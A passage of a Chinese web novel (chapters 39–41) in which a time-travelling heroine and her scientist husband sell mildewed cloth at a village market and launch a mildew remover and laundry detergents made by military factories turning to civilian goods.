是沈维舟两辈子都没有尝试过的柔软,他身体突然僵了下,然后所有的行动能力似乎又突然回来了,他抬起手,想要……他应该推开她的,她喝醉了,他不该趁人之危。 “柳绵绵……” 他想说柳绵绵你醉了,然而,在他下定决心推开她之前,她忽然轻轻地在他唇上舔了一下,然后,趁着他开口,灵巧的舌头,又像顽皮的小蛇似的,轻轻地往他口中探了探。 没出口的话被堵在了唇舌之间,抬起的手轻轻一颤,不自觉压在了怀中人柔软纤薄的背上,推拒的动作,变成了轻轻的按压,像是要将怀中人整个揉进自己的身体。 沈维舟微微后撤,喑哑着声音问:“柳绵绵,我是谁?” 柳绵绵一双手仍旧软软勾在他脖颈上,茫然迷醉的眼神,飘忽地略过他的眉眼,学舌般跟着喃喃:“沈维舟,我是谁?” 沈维舟于黑暗中深深看她一眼,微微低头,呢喃:“嗯,我是沈维舟。” 说罢,一偏头吻住了她的唇。 黑暗的空间中,渐渐起了轻微的喘息,落在意乱情迷的人耳中,像是鼓点,催动着本就凌乱的心跳。 第39章 江北村大集 柳绵绵醒过来时,第一个反应是,昨晚喝的是假酒吧,怎么头这么晕,第二个反应是,不管是真酒还是假酒,她为什么没有喝断片? 喝醉酒发酒疯不可怕,可怕的是醒来以后,清楚记得所有经过,发的酒疯、干的蠢事历历在目。 她不仅说脱口秀似的,拉着大家说劝酒次,她还对着沈维舟口出狂言,说他脸长得再好看,也没人要,结果扭头就捧着脸调戏他,说这位小哥怎么长得这么好看……调戏也就罢了,关键是,她,她,她还强吻了他! 柳绵绵:不敢睁开眼,希望是我的幻觉。 躺在被窝里做了半天心理建设,柳绵绵才鼓起勇气,扭头看了眼隔壁。 呼,没人。 莫名有一种午时三刻刀下留人的错觉。 穿越以来,柳绵绵第一次真切地觉得,另一半床上那个永远叠得四四方方的豆腐块,看起来是如此的可爱。 柳绵绵又赖了会儿床,确保过了沈维舟平时上班的时间点,才慢吞吞地爬起来。匆匆洗漱完,经过穿衣镜时,瞥见镜子里双颊薄红的人,脑海中不禁又冒出一些凌乱的片段。 他与外表不符的充满攻击性的吻,他湿热的让人心跳如鼓的喘息声,他喑哑的带着磁性的感觉听了就会怀孕的呢喃声,还有最后,克制而滚烫的落在她锁骨上的轻吻。 还有。 他捉住她摸到那一截劲瘦腰身上的手,凑在她耳边说:“现在不行,等你清醒了。” 柳绵绵闭了闭眼。 好消息,她虽然强吻了他,但他也并不是一味被动。 坏消息,她的的确确表现得像个女流氓。 柳绵绵花了十分钟时间,又给自己做了一遍心理建设,这才拖着沉重的、仿佛刚刚抠出来的城堡都吊在了脚踝上的步伐,出了东厢房。 院子里只有刘婶在洗衣服,看到柳绵绵出来,刘婶笑了:“哦哟,绵绵昨晚喝醉了哦,拉着大家劝酒,那劝酒词还蛮好听的呢。” 柳绵绵揉揉额角:“都是胡说八道的。” 换了上辈子,这么多酒还真喝不醉她,她只是没想到,穿越以后竟然连酒量都不一样了。 不过仔细想想,身体都不是同一个了嘛,酒量不一样好像也正常? 刘婶:“哦哟,胡说八道也说得这么好,那才是厉害呢。” 大概是看出来她有点不自在,刘婶忙说:“喝醉酒发酒疯嘛,都很正常的,你这没什么的,你王叔有一回喝醉了,差点没爬到屋顶上去呢。哦哟,不说他了,早饭你自己拿,吃完饭再喝点解酒汤,在搪瓷缸里。” 柳绵绵心说,那你是不知道,我喝醉了差点没把天上的月亮也给摘下来。 吃早饭的时候,柳绵绵隐隐约约的,总觉得自己好像忘了什么重要的事情,可惜早饭吃完了,也没想起来。她也没再纠结,拿了口干净的碗,倒了解酒汤来喝。 喝到一半,一抬眼,就见沈维舟走了进来,柳绵绵一口醒酒汤差点喝呛着:“你,你怎么在家?” 沈维舟垂眸向她看来,视线在她沾了汤汁的嘴角落了落,很快移开,清了清嗓子,说:“今天周日。” 柳绵绵:“……” 她总算反应过来了,自己为什么会觉得忘了什么重要的事,重要的事就是今天是周日,不上班。所以,她特意赖床,等上班时间过了才起床到底有什么意义? 顺便,她也想起来了,今天是她和蒋红梅他们约好了赶大集的日子。 “蒋红梅他们来过了吗?”虽然之前说好就是这回晚点去,趁着人最多的时候,随便往哪里一摆就行,毕竟布料嘛,肯定不愁卖的,但现在这个时间确实是有点晚了。 沈维舟给自己倒了杯水,在她身旁落座,说:“他们都在后院分捡布料,先把霉斑面积特别大和特别小的都挑出来。” 他喝了口水,又说:“我建议他们这两种先放着不要卖,我这几天想办法弄个祛除霉点的液剂,面积特别小的如果能恢复完全,可以当正常布料卖,特别大的那种,祛除一部分,价格也能卖高一点。” 柳绵绵上辈子室友在网上买过祛霉净,霉斑能祛除一些,但也有挺多祛除不了的。据说买家评论也是说,有的有用,有的没用。 一开始听说服装厂有霉斑布料的时候,她还跑供销社问过,确认这个时空并没有这东西,于是只能放弃。 何况,就算有祛霉净之类的东西,那么多的布料,处理起来其实也是一个浩大的工程。 不过沈维舟这个思路挺不错的,不用把所有的布料都处理一遍,就处理那些霉斑最少和最多的,这两头的货一拉扯,这批货的整体均价能高不少,没准比她一开始算的利润还要高不少。 柳绵绵顿时双眼亮晶晶的:“这个液剂好弄吗,成本会不会很高,到时候处理起来麻烦不麻烦?” 她想了想,觉得弄这种东西,对沈维舟来说,应该就是杀鸡用牛刀,好不好弄,成本高不高都不是她该担心的问题。于是又说:“要真弄出来,到时候我给你抽成。” “我不要钱。” 沈维舟淡淡看她一眼,手指轻轻在桌面上扣了扣,说:“到时候再说。” 柳绵绵沉浸在利润可能大幅增加的喜悦里,忘记了尴尬,也没太注意沈维舟说这话的意思。在她的想法,不要钱就买个东西送他嘛,多简单的事。 她三两口喝完醒酒汤,飞快洗了碗,就往后院跑。 蒋红梅一看见她,就乐得不行:“听说你昨天喝醉了啊,哎哟,早知道我怎么的也得过来蹭饭啊!” 刘安民抱着布料挪地方,也是乐得不行:“幸亏我跑得快,不然非得被她灌醉了不可。” 只有王志远是个实诚人,笑呵呵地还在夸柳绵绵:“嫂子其实酒量可以了,而且她劝酒词说得好,比我们政委还有水平。” 大概是因为有更尴尬的事情垫底,柳绵绵倒是觉得喝醉酒这件事本身没什么好尴尬的了,她斜了那两个乐得快直不起腰的家伙一眼:“就你俩对待金主的这个态度,以后可别出门拉投资了。” 蒋红梅边笑边说:“我错了,柳老板,我下回不敢了,你可一定要带着我们挣大钱!” 刘安民附和:“对对对,柳老板带我们挣大钱。” 王志远也凑热闹跟了一句:“嫂子带我们挣大钱!” 柳绵绵没理那两个,拍拍王志远的手臂:“小同志是个可造之材,以后姐姐带你挣大钱。” 王志远挠挠头:“嫂子,我比你还大一岁多。” 几人顿时又笑作一团。 柳绵绵过来的时候,蒋红梅他们已经挑得差不多了。拖拉机就停在后院的侧门外,大家抱着布料装到拖拉机上。 这回赶的是对岸江北村的大集,正常是坐轮渡最快,但他们驮着一车的货,轮渡坐不了,于是就准备让刘安民和王志远绕远路,从城市北的大桥过去,其他人则坐轮渡过去。 渡口离得不远,芷江路往南,过了西餐厅那一片,再继续往东南过去,就到了。 蒋红梅大概是怕柳绵绵没经验,一路上都在提醒她保管好自己东西,别到时候人多一挤,钱包就被人摸走了。 “有一帮三只手,就专门蹲在轮渡上等着扒肥羊呢。” 柳绵绵心说,我搭轮渡的经验没有,我挤公交地铁的经验还没有吗? 她把特意改过的布包往胸前一兜,拍了拍:“放心,三只手总不能偷到我眼皮子底下来。” 蒋红梅给她竖了个大拇指。 柳绵绵扭头看了沈维舟一眼:“你注意点哦。” 这人也是爱凑热闹,让他在家搞祛霉净,他非说得上班去实验室才能搞,还说闲着无聊,出来逛逛。 柳绵绵想着他这阵子一直老老实实吃着中药,身体看上去也没有丝毫毛病,出来逛逛也好。不然成天不是在研究所就是在书房,人都要待傻了。 他们算着时间,到地方不久就可以上船了。 挤在码头的上百人一哄而上,柳绵绵感觉自己被后面的人撞了一下,差点没摔着,然后手腕忽然一热,被人牢牢箍住,往旁边扯了扯。 沈维舟:“小心一点。” 柳绵绵回头去找蒋红梅,沈维舟无奈道:“先顾好自己,她早跑前面去了。”柳绵绵顺着他指的方向看去,果然看到蒋红梅跟猴子似的在人群中窜来窜去,已经率先大多数人挤上了船。 “……” 行吧。 “其实不用挤,船上没几个位置,大部分人都是站着的,而且二十分钟就到对岸了。”沈维舟说。 柳绵绵看到前面有个大妈挤得鞋子都掉了一只,干脆跟着沈维舟往旁边站了站,让其他人先上船。等人都快走完了,两人才跟着上去。 上船以后也不用特意找地方了,就靠着门边站会儿得了。 船舱里面挨挨挤挤,一眼看过去,尽是头发浓密程度不一的脑袋。闻着里面往外散逸的酸臭味,柳绵绵有些庆幸听了沈维舟的建议。挺热的天气,挤在里面,闻着各种味道,只怕更难受。 沈维舟好像天生不怕热,今天柳绵绵穿了件长袖衬衫,还把袖子都往上折了起来,他却还穿了件薄外套。 柳绵绵打量他两眼,发现他脸上真的一丝汗都没有。 他之前手指总是很凉,但昨晚,他的手却是滚烫的。 想到昨晚,柳绵绵耳根有些发热。 “怎么?”沈维舟垂眸问。 柳绵绵摇摇头,沈维舟以为她不舒服,从兜里拿出个红彤彤的苹果:“闻着会舒服一点。” 柳绵绵于是将错就错,拿过来捧着嗅味道,闻着苹果清甜的香味,确实舒服不少。 “看,那就是在建的芷江大桥。”沈维舟指指外面。 柳绵绵侧头看过去,果然看见远处烟波浩渺的江面上,矗立着一个个水泥石墩。上辈子柳绵绵见过无数雄伟壮丽的大桥,比眼前这座还未完工的桥更高、更长的多得是,但是不知道为什么,眼前这座桥,却让她感受到了从未有过的激动与欣喜。 大概是因为,在刚刚挤进轮渡的人群中,她看到了许多满面沧桑、衣衫破旧的老百姓。 也可能是因为,这座未完工的大桥两岸,是与它现代气息格格不入的低矮房屋。 这个国家依然贫困,但柳绵绵知道,在不久的将来,天堑变通途,九天揽明月,都将成为现实。 她将亲眼见证这个东方大国的崛起。 江北村虽然只是一个村,但是从这个村子里走出了在南洋、港城生意做得风生水起的爱国商人林泰和。改开后,林泰和带着儿孙回到南城,祭拜祖先,出资修缮祠堂,还给江北村捐了一大笔钱。 南城人都知道,江北村的戏台子搭得比人民剧院还要好,时不时还会邀请省市剧团的大腕儿来村里演出。 但凡江北村请人来演出,别说十里八乡的老百姓,就是南城的“城里人”也会赶过来看热闹。又因为他们村财大气粗,时不时就要找借口唱场戏,所以人流量也就越来越大。于是顺理成章的,国家放开集市以后,江北村也就开始办起了集市。 别看只是一个村子的集市,热闹程度甚至比怀平乡的大集还有过之而无不及。 不像怀平乡特地弄了块空地搞大集,江北村这个集市非常的随意,就在环村的村道上,一整条路都是。 柳绵绵他们先随便逛了逛,买了些蜂蜜、小鱼干、菌菇干之类的,大概逛了二十多分钟后,算着时间刘安民他们应该差不多到了,三人又回转村口,果然看到刘安民开着拖拉机咔哒哒哒地来了。 拖拉机进不了村子,只能停在村口。 几人随便找了个离村口相对较近的位置,拿出事先准备好的塑料布往村道旁一摊,留看上去最弱的沈维舟在拖拉机旁看东西,其他人一趟一趟地把布料往里面搬。 很快,看上去第二弱的柳绵绵被留在村道旁看东西了,其他三人从沈维舟那里取了布料送到柳绵绵那里,才搬了一趟,蒋红梅就忍不住说:“我怎么觉得自己像喜鹊,从董永那里衔东西送给七仙女?” 这个世界也有董永和七仙女的故事。 柳绵绵:“喜鹊,麻烦你们快点,刚刚已经有人过来问价格了,我怕一个人看不住,都没松口卖。” 蒋红梅非常高兴:“行,马上就搬完了,让他们一会儿就来啊!” 不过,没一会儿,蒋红梅又空着手跑了回来:“绵绵,绵绵,你男人跟人打起来了,你快去看看。” 柳绵绵差点怀疑自己耳朵出了问题:“什么?” 刘安民或者王远志跟人打起来她都信,但是弱不禁风的沈维舟? 柳绵绵赶紧往村口跑。 第40章 首战告捷 拖拉机就停在村口,旁边已经围了一圈人,柳绵绵扒开人群,看到站在拖拉机旁的沈维舟,赶紧上下打量了两眼,见他脸上没什么伤痕,站姿笔挺也不像身上受伤的样子,才松了一口气。 她走过去,还是不放心地问了一句:“怎么样,有没有哪里受伤?” 沈维舟还没开口,人群中一个贼眉獐目的小青年先愤怒地开口了:“他受伤个屁!我拳头都没挨到他的脸,他先给了老子一脚!妈的,赔偿,你们给我赔偿医药费!” 刘安民马上呛了回去:“你才受伤个屁,你偷东西还打人,你倒是还有理了?!撒谎也不先打个草稿,你看看我们朋友这样子,他像是会打人的人吗?他也就是运气好,刚好几位大婶看见阻止了你,不然准得被你揍趴了。” 小青年气得不行:“我说了,是他打的我!” 旁边一个大婶说:“哦哟,二癞子,这明摆的事情,就不要再说谎了。人家斯斯文文的,哪里像会打人的哦。倒是你,成天追鸡撵狗的,路上见了野狗都要踹一下的,哪里会吃亏的哦。” 二癞子气得脸色通红。 他确实是想偷布料。这一整拖拉机的布料,就这么个看着风吹就能倒的小白脸守着,他随便弄几匹还不是轻轻松松?哪知道刚想动手,就被小白脸发现了。 作为本村人,虽然偷东西被逮住,但二癞子一点不怵,立马冲着小白脸威胁了几句,还举着拳头想给对方来两下。对付这种人他很有经验,把人揍怕了,就什么都不敢说了。没准还得哭着喊着给他“孝敬”点呢。 然而,他的拳头刚递出去呢,对方轻飘飘一脚,就给他踹得差点跌出二里地去!他不信邪,爬起来还想再打,结果就被村里几个好管闲事的老娘们儿给喊住了。然后小白脸的同伙儿也跑过来了。于是他就被围住了。 二癞子往常没少干欺负老弱病残的事情,偏偏这回,他明明是被欺负的那一个,却没有一个人相信他。 他越是解释,越没人信他。 “就这孩子的小身板,他能给你一脚踹那么老远?哎哟喂,你编瞎话也编个靠谱点儿的吧。” “你说你身上都被踹乌青了?哦哟,肯定是这两天在哪儿偷鸡摸狗被人打的吧,也不能看着人家小伙子老实,你就这么讹人吧?” “就是,瞧瞧这小伙子长得多俊,这一看就是个好的。” …… 二癞子怒:这见鬼的看脸的世界! 让二癞子更为愤怒的是,自从这个漂亮姑娘跑了过来,原本不管别人说什么都没开口的小白脸,竟然摆出了一副受害者的模样,半句不解释自己没受伤的事,冲着漂亮姑娘说了声“还好”,漂亮姑娘就一脸心疼地掏出了手帕,让他赶紧擦擦汗。 柳绵绵觉得眼前这位精神小伙儿的表情狰狞到有点可怕,警惕道:“干嘛,这么多人看着呢,你还想动手?” 二癞子生无可恋,心说算了,真让人知道他被这么个白斩鸡揍了,他也丢不起这个脸。他呸地吐了一口浓痰:“一堆破烂霉斑的布,当谁稀罕似的!” 他刚刚可是看见了,那些布每一匹上都有霉斑。 捂着隐隐作痛的胸口转身走了。 “就让他这么走了?”柳绵绵问。 “算了,不是还要卖布嘛,不要节外生枝了。”沈维舟说。自己踹他没人看见,同样的,他想偷东西,也没人看见,这件事根本掰扯不清楚。 “哦哟,小伙子肚量蛮大的。二癞子那种人哦,是不要跟他纠缠的好。”刚刚帮沈维舟说话的大婶好奇问,“你们是过来卖布料的哦,是瑕疵布啊?” 老辈人对瑕疵布可是很有感情的,要知道早点买布要票的时候,不要票的瑕疵布,那都是在纺织厂、供销社有关系的人才能拿到的。所以虽然二癞子对布料大肆贬低,但是大妈大婶们还是很感兴趣的。 柳绵绵自然不会放过这么好的宣传机会,马上说:“婶子,咱们这布料确实有一些霉斑,但是卖得便宜呀,这上好的棉布,服装厂都是用来做成品衣的,您看花色也好看,这个咱们只卖五毛五一米。” “什么,五毛五一米?!” 看完热闹正准备散开的人群一下子凝固住了。 哎妈呀,这店里至少得一块多一米的布料啊,竟然只要五毛五?! 一群大婶马上把拖拉机里仅剩的几匹布给拽了出来。 “哦哟,这个布料子是蛮好的,软乎乎的,也挺厚的。” “这花色好,我家老幺上回想买一件这种花色的衬衫,哦哟,供销社成品衣要十几块钱。做个短袖衬衫一米五布料够了,布料只要八毛多一点,让老裁缝做一下,手工费嘛三四块钱就够了,妈呀,一件衬衫做好五块钱都不要哦!” “这么便宜,买一两米哪里够,必须得多买点。天气越来越热,做几件汗衫穿穿正好,家里旧的都破了好几个洞了。” …… 不用柳绵绵他们再推销,大婶大妈已经互相推销起来了,甚至有两个大妈都看中了一匹布,一人拽一头不肯放手。 王志远就站在旁边,挠挠头,老老实实地劝说:“婶子,这一匹布有五十米呢,你们也不可能买整匹不是,一会儿量了,一人扯几米不就行了。” 一位大妈说:“我家人多,我六个儿子,两个闺女,下头还有那么多孙子孙女呢,我就买一匹!”她早算过了,一匹布二十七块五毛,也就是两件成品衣的价格,她家人多,特别费布料,有这种便宜布,肯定要多买一点。 另一位大妈原本只想买个十来米,听她这么一说,一咬牙,一跺脚:“我家人也不少,我也要买一匹的!”她家在村里也是响当当的,怎么也不能被这老货比下去。 在两个人打起来之前,柳绵绵及时上前阻止了:“婶子,婶子,这个花色不止一匹,大集里面,我们还有很多其他花色的布料,都可以看看的。” 好嘛,一群人轰地一下就跑进村口了。 好几个人手里还抱着布料。 刘安民和王志远赶忙追了上去。 拖拉机上没有布料了,柳绵绵和沈维舟也跟着走过去。 柳绵绵:“真没被打?” 沈维舟牵了牵唇角:“嗯。”伸手牵住了她的手腕。 他们来得晚,占得位置并不太好,本来还以为得吆喝一会儿招徕顾客呢,被二癞子的事情一闹,吃瓜群众秒变顾客,柳绵绵他们到的时候,摊子前已经里三层外三层地围满了人。 其他人看到这边这么热闹,纷纷好奇到底是卖什么东西,跟着围了上来,人一下子越围越多。 要不是柳绵绵说自己是卖家,差点都挤不进人群。 得亏他们布料都是整匹整匹的,目标比较大,不然真是被人趁乱拿走都不知道。 柳绵绵和沈维舟很快也加入到裁布卖布的行列中。柳绵绵量好布,拿剪刀剪了个缺口,一撕,一卷,递给沈维舟,沈维舟收钱找钱,再把布料递给买布的大妈。 大妈珍惜地捏着布料看了看,边把布料往布袋子里塞,边说:“这块布就中间有一块霉斑,做衣服的时候,让裁缝把这一块裁掉就可以了。”说着,又感叹:“哦哟,要是这霉斑能洗掉就好了。” 柳绵绵感觉自己脑门上突然亮起了个小灯泡,唰地一下,眼睛就亮了。 她扯扯沈维舟,问:“你那个祛霉净多久能做出来,一个星期够不够,那玩意儿能批量生产吗,弄一点搭着卖怎么样?”他们自己处理霉斑费时费力,如果同时售卖能祛除霉斑的产品呢,只要价格不高,相信很多人都愿意购买的。 毕竟,就像之前那个大妈说的,他们这布做一件衬衣只要四五块钱,如果再搭个一两块钱买个祛除霉斑的东西,那这衬衣跟供销社里十几二十块的成衣可就一点不差什么了。 柳绵绵相信,这个钱肯定不少人愿意花。 沈维舟:“……” 他都不知道那个还没做出来的液剂,什么时候已经有了名字。 行吧,祛霉净就祛霉净吧。 沈维舟略一思索,说:“思路是可行的,按理也不难,理论上说一周时间应该足够,不过科研工作总是充满变数的。” 懂的懂的,上辈子柳绵绵可没少在网上刷到,那些因为毕业论文被偷吃而无法毕业的农大学生。虽说不是一个事情,但道理都差不多。意外来临之前,谁都想象不到。 “哦呦,小两口先别忙着说话了,赶紧给我们布裁一下,我要这个,五米。” 一位大妈大声说,旁边几个人也附和,说小两口感情也太好了,生意都不做了,有什么悄悄话嘛回家躲在被窝里说呀。柳绵绵自认脸皮不薄,都被调侃得闹了个大红脸,她知道越反驳这些人越来劲,干脆什么也不说,拿起剪子干脆利落裁出了五米布。 几个人一直连轴转地忙到中午,人群才渐渐散了,不过陆陆续续的,还是有顾客过来。 离他们不远有几个做小吃的摊子,柳绵绵去买了个葱油饼,又拿带过来的搪瓷缸去另一个摊子上打了一缸凉粉,大家凑合着吃了一顿。 沈维舟没有吃凉粉,出门前刘婶千叮咛万嘱咐,天气再热也不能给沈维舟吃凉的,柳绵绵严格执行,给他喝的是家里带过来的热汤。 “一口都不行。” 见沈维舟看着她碗里的凉粉,柳绵绵立马侧了侧身,沈维舟无奈看她一眼,只能老老实实喝汤,心里盘算着自己这身体什么时候能好。 听说沈维鸿最近就要去西北了,沈文山已经在办转业手续了,老爷子已经向军区打了招呼,随时准备搬出小红楼了。 沈维舟暗暗吐出一口气,或许他的病也差不多可以好了。 吃过午饭,又集中来了一拨客人,有看见邻居买了布料才知道这边有便宜布买的,也有大集上摆摊的人,收摊了过来“捡漏”的,卖到最后,剩了一匹霉斑相对较多的,一直没人要,柳绵绵干脆四毛五一米处理给了一位挑了老半天也没下手的大嫂。 首战告捷,柳绵绵算了算,今天利润四百多,于是和蒋红梅商量了一下,直接给每人包括她们自己,发了二十元的劳务费。 王志远捏着两张大团结不敢置信:“嫂子,一天就给二十啊?” 像他这样的,哪怕转业去国营工厂,月工资也就三四十左右,平均到每天,也就一块多点。 二十块钱,是国营工厂工人大半个月的工资了。 王志远一开始是觉得自己反正闲着也是闲着,就给柳绵绵帮帮忙,随便柳绵绵给他几块钱。 他怎么也没想到,会给这么多。 刘安民就比他淡定多了:“嗐,咱们柳老板一向都是这么大方的,这才哪儿到哪儿啊!兄弟,放心吧,跟着柳老板,绝对能挣大钱。” 蒋红梅也起哄:“跟着柳老板挣大钱。” 柳绵绵:“……” 又来了又来了。 她笑了起来:“行,咱们一起挣大钱。” 后面几天,柳绵绵要上班,就没再和他们一起去赶大集。 她盘算着这批货出完自己应该又能挣个几千,暂时好像又没什么能投钱的地方了,于是抽空就跟陈经理打听港城股市的情况。 上辈子港城拍过不少围绕股市兴衰起伏的电视剧,柳绵绵看过一些,对八七年黑色十月环球股灾和九七年亚洲金融风暴印象特别深刻。 也因此,她清楚记得八七年股灾之前,港城股市是疯涨过一波的。 “柳小姐想去港城买股票?去年开始行情是还不错啦,不过电视上大经纪行的老板都在说,再跟就有风险了,股票哪有永远涨的哦,不如落袋为安啦!” 柳绵绵一听就知道陈经理应该是怕行情改变,已经卖掉一些了。 但其实接下来的一年才是港城股市节节攀升的一年。 她也没多嘴,陈经理是个理智的资深股民,对市场有自己的判断。她知道上辈子的事情,但并不能确定这个时空的一切会和上辈子一样。 向陈经理透露了自己对港城股市的兴趣后,柳绵绵就开始光明正大向陈经理借阅相关资料了。她准备自己研究研究,挑选一两支性价比高的绩优股,看看有没有机会赚一笔。 而就在她潜心研究港城上市企业的时候,蒋红梅他们又跑了好几个大集,同时,沈维舟那边也取得了进展。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 军工转日化 “哦呦,真的有用,这块布料上的霉斑都洗掉了!”刘婶从晾衣服的竹竿上取下几块布料,老花镜取下来又戴上去,看了半天,确信说,“没错,这几块上面一点也没有了,这两块上面还有一些。” 柳绵绵接过那几块布料,原先霉斑最少的,基本已经洗没了,而霉斑最多的那些,也和原先他们挑拣出来拿去集市上卖的差不多了。 “沈维舟同志,你厉害了啊!”柳绵绵给沈维舟竖了个大拇指,大佬不愧是大佬,上辈子留下的半拉子研究成果,能让沈维鸿轻松跻身业界大拿,这辈子研究成果且不说,研究个祛霉净,感觉他根本就没用多少工夫,简直轻轻松松。 关键是,他研究的这玩意儿成本还特别低,相当于他们不用怎么花钱,就能把瑕疵布变成普通布,特别瑕疵布变成一般瑕疵布。 保守估计,应该能多挣好几千。 对了,还能搭配卖一卖这玩意儿。 也不用他们想辙,沈维舟他们研究所有平时联系的企业,让人家帮忙生产一批就行了。 上层定下大裁军的政策后,去年底开始,部队装备采购就几乎冻结了,相应的,军工企业的订单也大量削减。有一些嗅觉灵敏的军工厂已经预感到接下来日子可能会不太好过,纷纷开始寻求转型。 沈维舟联系这家企业生产祛霉净,自然也是付了钱的。那家企业对接的人脑子也很活络,觉得这东西应该有市场,于是和沈维舟商量了一下,花一千块钱买下了配方,不仅生产了柳绵绵他们需要的量,还准备生产一些拿去纺织厂、服装厂和供销社卖一卖。 柳绵绵听说这事以后,和沈维舟开了个卧谈会,认认真真探讨了一下做洗衣粉、洗衣液的可能性。 然后隔了一天,沈维舟就拎了两个装着洗衣粉和洗衣液的铅皮水桶回来了。 晚饭前柳绵绵把脏衣服泡上,一个搪瓷盆里泡的洗衣粉,一个搪瓷盆里泡的洗衣液,等吃完晚饭,一家子围在水井边,看柳绵绵和刘婶搓衣服。 柳绵绵的盆里泡的是洗衣粉,随便搓了搓,衣服就干净了,肥皂沫也很容易漂干净,唯一的缺点是气味很一般,不像后世的洗衣粉洗衣液,有各种各样的香型。 不是难闻的味道,但真的就一般,非常直男。 洗衣粉其实市面上也有卖,但是整体生产工艺处于基础水平,就更别提香型和包装了。沈维舟这个洗衣粉,相比外面售卖的来说,粉质更细腻,漂洗效果更好,在此基础上,如果能在香味和包装上下点功夫,应该就能胜过市面上大部分同类产品了。 至于洗衣液,这玩意儿目前市场上还没有,甚至国外应该也还没有普及,如果能做得好,说不准还能出口挣外汇呢。 当然,前提也是香型和包装要改良。 刘婶那边也很快搓洗完衣服,并且表示,这个东西比她在供销社买的洗衣粉好用多了。只不过她疑惑的是:“好用是好用,就是已经有洗衣粉了,做什么还要弄个洗衣液?不是一样的东西嘛。” 柳绵绵解释说:“咱们用洗衣机洗衣服的时候,洗衣粉倒下去,有时候会有一些粘在衣服上,洗不干净,等拿出来晾了才发现某个地方粘了一坨对不对?洗衣液就没有这个烦恼了,倒进水里很快就融化了。” 俞婉点头:“没错,我有几次洗衣服的时候碰见过。” 柳绵绵:“所以我觉得,洗衣粉适合手洗的时候放,洗衣液适合机洗的时候放,肥皂适合洗小件物品的时候用。” 指指放在一旁的肥皂、洗衣粉和洗衣液,说:“这三样东西各司其职,咱们洗衣服就会更方便了。不过现在,这三样东西都还有一个小小的缺陷。” 拇指和食指贴在一起,冲沈维舟比了个心。 沈维舟没看懂,微微挑眉,问:“什么缺陷?”洗衣粉市面上有现成的,他买来稍微分析了下,弄清楚成分和配比以后,还作了优化,自信比市面上其他同类产品绝对更加好用。洗衣液也差不多,各项指标都已经是最优了。 “当然是香气啦!”柳绵绵拎起一件洗好的衬衣嗅了嗅,“现在这些洗好的衣服都是一股子洗衣粉味,如果能像香皂一样,洗完了闻着香喷喷的,是不是会更好?” “还有,市面上的洗衣粉现在都是装在一个薄薄的塑料袋里,包装印得也很粗糙,如果我们能弄个更精致的包装,看上去是不是会更高档?” “尤其是洗衣液,它的目标客户是拥有的洗衣机的家庭,这些家庭经济条件比较好,自然会愿意花更多的钱,买看上去高档、闻起来很香、洗衣服都时候还不会在衣服上粘一坨粉的洗衣液。” 稍稍停顿后,柳绵绵又说:“我相信不止内地,这东西在港城甚至国外,经济条件更好的地方,或许会有更大的市场。” 沈伯康、王叔、王志远这几个糙老爷们儿,一开始都想说,洗个衣服而已,怎么就这么麻烦,又要像香皂一样香香的,又要包装好看高档。 听完柳绵绵这么一分析,三人的眼睛顿时都欻欻欻亮了。 这年头的华国人都知道,国家想挣点外汇不知道多难,这东西要能卖到港城甚至是国外,那可就太好了。 沈伯康若有所思:“我接触过一些国外的专家,他们确实非常注重生活细节,不少人平时还有喷香水的习惯,坐他们旁边开会,都能闻到。” 柳绵绵点头:“咱们可以参考他们香水的香型,生产出几种比较经典的香味,像是柑橘调啊木质调啊花香调啊果香调啊,哦,对了,既然都做了洗衣液了,其实也可以考虑做沐浴液和洗发液。想想,洗完澡洗完头发,浑身香喷喷的,不管哪个年龄段的女同志肯定都会喜欢吧?” 刘婶老脸一红:“哦呦,香皂洗完已经蛮香的了哦。” 柳绵绵冲她眨眨眼:“可以更香的嘛。”又冲沈伯康和俞婉:“爸妈你们说对不对?” “你这个促狭鬼!”俞婉失笑道,“不过我觉得你说的很对,如果能用这种乳液状的、容易清洗的沐浴液和洗发液,并且还有你说的这种种的香味,我应该也很乐意去挑选一些的。” 作为各大军工厂的上级主管部门,他们国防工业办最近其实也很头疼。部队装备采购冻结,不少军工厂生产任务成倍缩减,空余下来的产能不可能闲置,那就必须另谋出路。 已经有好几个军工厂领导哭诉到他们这里来了,军工转民用,说得简单,可做起来太难了呀。 “你们原先那个祛霉净是让102厂做的吧?这个洗衣粉、洗衣液,也准备让他们做吗?”俞婉问。 柳绵绵看向沈维舟:“我就是提供个思路。”意思是别的都不管。 沈维舟想了想,问:“妈你有什么想法?” 俞婉:“102原本就是搞原材料的,之前又已经做过祛霉净,继续做洗衣粉和洗衣液也很合适。至于沐浴液和洗发液,维舟你和107厂联系一下,他们厂的廖工程师之前在做洗头膏的厂子待过。” 沈维舟点头。 柳绵绵双眼亮亮地看着俞婉,果然,别看便宜婆婆平时那么温柔好说话,说起工作来,她的身上就有种闪闪发光的自信和坚定。 俞婉看向柳绵绵,弯唇一笑,又变回亲切温和的样子:“绵绵,怎么了?” 柳绵绵一把抱住她的胳膊:“感觉妈你好厉害。” 俞婉被夸得眉开眼笑:“是绵绵厉害,能想到那么多的点子。” “我也厉害,你也厉害,沈维舟也厉害。”柳绵绵不害臊地说,“不过我厉害就是嘴上厉害,我就会动嘴和动脑,真让我干就不行了。”其实骨子里她就是个闲鱼,只不过偶尔会自动地翻一翻。 俞婉失笑,其实她也看出来了,儿媳妇的脑子很活络,有很多古灵精怪的点子,就是性子有点惫懒,只愿意动脑子,不愿意自己干。 当然,俞婉是觉得,能动脑就挺好了,她见多了尸位素餐不动脑子的人,像柳绵绵这样脑子活络的,有时候能给工作带来意想不到的进展。 就像这次,102厂和107厂没准就能因为她的点子而盘活。 这就是最大的贡献了,护短的俞婉心想。 祛霉净生产得很快,没过几天,蒋红梅他们再出去赶大集,带的就不止是布料了,还有一箱子装在小玻璃瓶里的祛霉净。这东西主打一个薄利多销,所以也没弄什么花里胡哨的包装。 蒋红梅听柳绵绵的建议,直接在摊位前弄了桶水,现场演示给大家看。 这么一来,可不得了了,原先挑出来的霉斑更少的布料都不吃香了,大妈大婶们纷纷抢起了霉斑最多的那些布料。 买这种布料可太划算了,价格低了不少,再买一瓶能用很久的祛霉净回去,用不了了多少就能祛除大部分霉斑。 剩下的祛霉净还能放着继续用呢,以后家里毛巾啊衣服啊被单啊要是发霉长斑了,都能用这个东西祛霉斑,总之四舍五入等于布料省钱了还白得一瓶神奇的祛霉净。 